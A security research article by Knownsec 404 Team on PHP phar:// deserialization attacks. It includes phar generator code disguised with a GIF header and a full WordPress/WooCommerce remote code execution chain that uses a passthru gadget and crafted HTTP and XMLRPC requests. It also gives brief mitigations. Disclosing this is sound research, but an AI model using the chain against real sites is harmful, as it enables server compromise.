Author: Knownsec 404 Team
Date: August 23, 2018
Chinese Version: https://paper.seebug.org/680/
When we usually exploit the deserialization vulnerability, we can only send the serialized string to unserialize()
. As the code becomes more and more secure, it is more and more difficult to exploit. But on the Black Hat 2018, the security researcher Sam Thomas shared the topic: It’s a PHP unserialization vulnerability Jim, but not as we know it. Since the phar file stores user-defined meta-data in serialized form, the attack surface of the PHP deserialization vulnerability has been extended. With the parameter of filesystem function (file_exists()
, is_dir()
, etc.) under control, this method can be used with phar://
pseudo-protocol to directly perform deserialization without relying on unserialize()
. This makes some functions that previously seemed "harmless" become "insidious". Let's take a look at these attacks.
Before we learn about the attacks, we need to firstly look at the file structure of the phar, and it consists of four parts:
It can be interpreted as a flag and the format is xxx<?php xxx; __HALT_COMPILER();?>
.The front content is not limited, but it must end with __HALT_COMPILER();?>
, otherwise the phar extension will not recognize this file as a phar file.
A phar file is essentially a compressed file, in which the permissions, attributes and other information of each compressed file are included. This section also stores user-defined meta-data in serialized form, which is the core of the above attacks.
It’s the contents of the compressed file.
The format is as follows:
Construct a phar file according to the file structure, and PHP has a built-in phar class to handle related operations.
PS: Set the phar.readonly
option in php.ini
to Off
, otherwise the phar file cannot be generated.
phar_gen.php
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
It can be clearly seen that meta-data is stored in serialized form:
Since there is serialization data, there must be deserialization operation. Most filesystem functions in PHP will deserialize meta-data when parsing phar files through phar://
pseudo-protocol. The affected functions after the test are as follows:
Here's how the underlying PHP code works:
php-src/ext/phar/phar.c
Verify via the demo:
phar_test1.php
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
Other functions are certainly feasible:
phar_test2.php
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/a_random_string';
file_exists($filename);
//......
?>
When the parameters of filesystem function are controllable, we can deserialize it without calling unserialize()
, and some functions that previously seemed "harmless" become "insidious," greatly expanding the attack surface.
In the previous analysis of phar's file structure, you may have noticed that PHP identifies phar file through the stub of its file header, or more specifically it’s by __HALT_COMPILER();?>
, and the previous content or suffix name is not restrained. We can then forge the phar file into other formats by adding arbitrary file headers and modifying the suffix name.
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
This method can bypass a large part of the upload detection.
Phar files should be able to be uploaded to the server.
There is a magic trick available as a "springboard".
The parameters of file operation function are controllable, and some special characters such as :
、/
、phar
are not filtered.
Wordpress is the most widely-used cms on the Internet. This vulnerability was reported to the official in February 2017, but it has not been fixed yet. The previous arbitrary file deletion vulnerabilities also appeared in this part of the code, and there was no fix. According to the exploitation conditions, we must first construct a phar file.
Find out the class methods that can execute arbitrary code:
wp-includes/Requests/Utility/FilteredIterator.php
class Requests_Utility_FilteredIterator extends ArrayIterator {
/**
* Callback to run as a filter
*
* @var callable
*/
protected $callback;
...
public function current() {
$value = parent::current();
$value = call_user_func($this->callback, $value);
return $value;
}
}
This class inherits ArrayIterator
, and the current()
method is called every time the object instantiated by this class enters foreach
to be traversed. Next we need to find a destructor that uses foreach
internally. Unfortunately, there are no proper classes in the core code of wordpress, so we have to start with plugins.Here is a class that can be exploited in the WooCommerce plugin:
wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php
class WC_Log_Handler_File extends WC_Log_Handler {
protected $handles = array();
/*......*/
public function __destruct() {
foreach ( $this->handles as $handle ) {
if ( is_resource( $handle ) ) {
fclose( $handle ); // @codingStandardsIgnoreLine.
}
}
}
/*......*/
}
Here we have finished constructing the pop chain, and we construct the phar file accordingly:
<?php
class Requests_Utility_FilteredIterator extends ArrayIterator {
protected $callback;
public function __construct($data, $callback) {
parent::__construct($data);
$this->callback = $callback;
}
}
class WC_Log_Handler_File {
protected $handles;
public function __construct() {
$this->handles = new Requests_Utility_FilteredIterator(array('id'), 'passthru');
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头,伪造文件类型
$o = new WC_Log_Handler_File();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
After changing the suffix to "gif", you can upload it in the background or through the XMLRPC interface, both of which requires author permissions or above. Write down the file name and post_ID after uploading.
Next we have to find a filesystem function whose parameter is controllable:
wp-includes/post.php
function wp_get_attachment_thumb_file( $post_id = 0 ) {
$post_id = (int) $post_id;
if ( !$post = get_post( $post_id ) )
return false;
if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
return false;
$file = get_attached_file( $post->ID );
if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {
/**
* Filters the attachment thumbnail file path.
*
* @since 2.1.0
*
* @param string $thumbfile File path to the attachment thumbnail.
* @param int $post_id Attachment ID.
*/
return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
}
return false;
}
This function can be accessed by calling the "wp.getMediaItem" method via XMLRPC. The variable $thumbfile
send file_exists()
, which is exactly what we need. Now we need to trace back to the $thumbfile
variable to see if it's controllable.
According to $thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)
, if basename($file)
is the same as $file
, the value of $thumbfile
is just that of $imagedata['thumb']
. Firstly, let's see how $file
is obtained:
wp-includes/post.php
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
// If the file is relative, prepend upload dir.
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
/**
* Filters the attached file based on the given ID.
*
* @since 2.1.0
*
* @param string $file Path to attached file.
* @param int $attachment_id Attachment ID.
*/
return apply_filters( 'get_attached_file', $file, $attachment_id );
}
If $file
is a path Z:\Z
similar to the Windows drive letter, the RegExp will fail, and $file
will not splice anything else. In this case, you can ensure that basename($file)
is the same as $file
.
You can call the value of setting $file
by sending the following packet:
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close
_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-
admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editpost&post_type=attachment&post_ID=11&file=Z:\Z
You can also set the value of $imagedata['thumb']
by sending the following packet:
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 184
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close
_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-
admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editattachment&post_ID=11&thumb=phar://./wp-content/uploads/2018/08/phar-1.gif/blah.txt
_wpnonce
is available on the modification page.
Finally, the wp_get_attachment_thumb_file()
function is called by calling "wp.getMediaItem" via XMLRPC to trigger deserialization. The data package called via XML is as follows:
POST /wordpress/xmlrpc.php HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
Cookie: XDEBUG_SESSION=PHPSTORM
Content-Length: 529
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>wp.getMediaItem</methodName>
<params>
<param>
<value>
<string>1</string>
</value>
</param>
<param>
<value>
<string>author</string>
</value>
</param>
<param>
<value>
<string>you_password</string>
</value>
</param>
<param>
<value>
<int>11</int>
</value>
</param>
</params>
</methodCall>
When the parameters of filesystem function are controllable, filter the parameters strictly.
Strictly check the contents of the uploaded file, not just the header.
Conditions permitting, disable dangerous functions that can execute system commands and code.
Beijing Knownsec Information Technology Co., Ltd. was established by a group of high-profile international security experts. It has over a hundred frontier security talents nationwide as the core security research team to provide long-term internationally advanced network security solutions for the government and enterprises.
Knownsec's specialties include network attack and defense integrated technologies and product R&D under new situations. It provides visualization solutions that meet the world-class security technology standards and enhances the security monitoring, alarm and defense abilities of customer networks with its industry-leading capabilities in cloud computing and big data processing. The company's technical strength is strongly recognized by the State Ministry of Public Security, the Central Government Procurement Center, the Ministry of Industry and Information Technology (MIIT), China National Vulnerability Database of Information Security (CNNVD), the Central Bank, the Hong Kong Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of security vulnerability and offensive and defensive technology in the fields of Web, IoT, industrial control, blockchain, etc. 404 team has submitted vulnerability research to many well-known vendors such as Microsoft, Apple, Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the industry.
The most well-known sharing of Knownsec 404 Team includes: KCon Hacking Conference, Seebug Vulnerability Database and ZoomEye Cyberspace Search Engine.
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/988/